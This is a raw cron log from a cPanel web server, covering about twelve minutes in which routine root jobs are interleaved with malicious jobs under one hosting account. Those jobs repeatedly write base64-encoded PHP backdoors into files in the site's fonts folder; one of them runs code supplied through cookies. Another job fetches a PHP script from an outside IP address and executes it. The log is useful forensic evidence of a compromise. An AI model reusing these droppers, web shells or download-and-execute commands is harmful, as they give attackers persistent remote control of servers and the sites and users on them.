Sep  7 04:10:01 ip-184-168-122-23 CROND[12023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:10:01 ip-184-168-122-23 CROND[12025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:10:01 ip-184-168-122-23 CROND[12026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:10:01 ip-184-168-122-23 CROND[12027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:11:01 ip-184-168-122-23 CROND[12141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:11:01 ip-184-168-122-23 CROND[12142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:11:01 ip-184-168-122-23 CROND[12143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:11:01 ip-184-168-122-23 CROND[12144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:12:01 ip-184-168-122-23 CROND[12246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:12:01 ip-184-168-122-23 CROND[12245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:12:01 ip-184-168-122-23 CROND[12247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:12:01 ip-184-168-122-23 CROND[12249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:12:01 ip-184-168-122-23 CROND[12251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:13:01 ip-184-168-122-23 CROND[12347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:13:01 ip-184-168-122-23 CROND[12348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:13:01 ip-184-168-122-23 CROND[12350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:13:01 ip-184-168-122-23 CROND[12353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:14:01 ip-184-168-122-23 CROND[12525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:14:01 ip-184-168-122-23 CROND[12527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:14:01 ip-184-168-122-23 CROND[12528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:14:01 ip-184-168-122-23 CROND[12530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:14:01 ip-184-168-122-23 CROND[12531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:15:01 ip-184-168-122-23 CROND[12682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:15:01 ip-184-168-122-23 CROND[12684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:15:01 ip-184-168-122-23 CROND[12685]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:15:01 ip-184-168-122-23 CROND[12687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:15:01 ip-184-168-122-23 CROND[12688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:15:01 ip-184-168-122-23 CROND[12686]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 04:15:01 ip-184-168-122-23 CROND[12689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:16:01 ip-184-168-122-23 CROND[12816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:16:01 ip-184-168-122-23 CROND[12818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:16:01 ip-184-168-122-23 CROND[12820]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 04:16:01 ip-184-168-122-23 CROND[12822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:16:01 ip-184-168-122-23 CROND[12826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:16:01 ip-184-168-122-23 CROND[12827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:17:01 ip-184-168-122-23 CROND[12926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:17:01 ip-184-168-122-23 CROND[12927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:17:01 ip-184-168-122-23 CROND[12928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:17:01 ip-184-168-122-23 CROND[12929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:18:01 ip-184-168-122-23 CROND[13042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:18:01 ip-184-168-122-23 CROND[13043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:18:01 ip-184-168-122-23 CROND[13044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:18:01 ip-184-168-122-23 CROND[13046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:18:01 ip-184-168-122-23 CROND[13048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:19:01 ip-184-168-122-23 CROND[13159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:19:01 ip-184-168-122-23 CROND[13160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:19:01 ip-184-168-122-23 CROND[13163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:19:01 ip-184-168-122-23 CROND[13165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:20:01 ip-184-168-122-23 CROND[13362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:20:01 ip-184-168-122-23 CROND[13366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:20:01 ip-184-168-122-23 CROND[13367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:20:01 ip-184-168-122-23 CROND[13368]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:20:01 ip-184-168-122-23 CROND[13370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:20:01 ip-184-168-122-23 CROND[13369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:20:01 ip-184-168-122-23 CROND[13372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:20:01 ip-184-168-122-23 CROND[13371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:20:01 ip-184-168-122-23 CROND[13373]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:21:01 ip-184-168-122-23 CROND[13479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:21:01 ip-184-168-122-23 CROND[13480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:21:01 ip-184-168-122-23 CROND[13483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:21:01 ip-184-168-122-23 CROND[13485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:22:01 ip-184-168-122-23 CROND[13614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:22:01 ip-184-168-122-23 CROND[13618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:22:01 ip-184-168-122-23 CROND[13616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
